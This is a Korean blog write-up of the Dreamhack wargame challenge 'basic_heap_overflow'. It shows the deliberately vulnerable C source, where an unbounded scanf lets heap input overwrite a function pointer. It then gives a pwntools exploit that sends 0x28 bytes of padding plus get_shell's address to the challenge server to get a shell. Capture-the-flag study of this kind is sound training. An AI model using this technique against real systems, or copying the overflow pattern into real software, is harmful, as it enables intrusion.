혜랑's STORY

[Dreamhack Wargame] basic_heap_overflow 본문

2021 SISS 21기 활동/2학시 시스템

[Dreamhack Wargame] basic_heap_overflow

hyerang0125 2021. 11. 21. 21:01

 

먼저 주어진 파일을 다운받아 코드의 흐름을 살펴보자.

basic_heap_overflow.c
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <string.h>

struct over {
    void (*table)();
};

void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

void get_shell() {
    system("/bin/sh");
}

void table_func() {
    printf("overwrite_me!");
}

int main() {
    char *ptr = malloc(0x20);

    struct over *over = malloc(0x20);

    initialize();

    over->table = table_func;

    scanf("%s", ptr);

    if( !over->table ){
        return 0;
    }

    over->table();
    return 0;
}

 

코드를 살펴본 결과 *over에는 힙 주소가 적히고 데이터로 table_func에 있는 "overwrite_me!"를 작성하는 것 같다. 그리고 만약 값이 적혀있다면 해당 *over에 저장되어 있는 주소를 실행한단. 즉, *over에 get_shell의 주소를 적어 쉘을 딸 수 있다.

over 포인터가 가리키는 힙 영역을 가장 먼저 할당하는데 이때 scanf로 입력을 받기 때문에 overflow 취약점이 발생하게 된다. 이를 이용해서 "overwrite_me!" 값을 get_shell의 주소로 변경해야 한다.

즉, over에 할당되는 값은 0x20이고, heap의 크기인 0x8을 더한 값만큼 떨어진 곳에  get_shell의 주소를 넘겨주면 된다.

이를 바탕으로 아래와 같이 exploit code를 작성할 수 있다.

from pwn import *

p = remote("host1.dreamhack.games", "17394")

elf = ELF('./basic_heap_overflow')
get_shell = elf.symbols['get_shell']

payload = 'A' * 0x28
payload += p32(get_shell)

p.sendline(payload)

p.interactive()

실행 결과이다.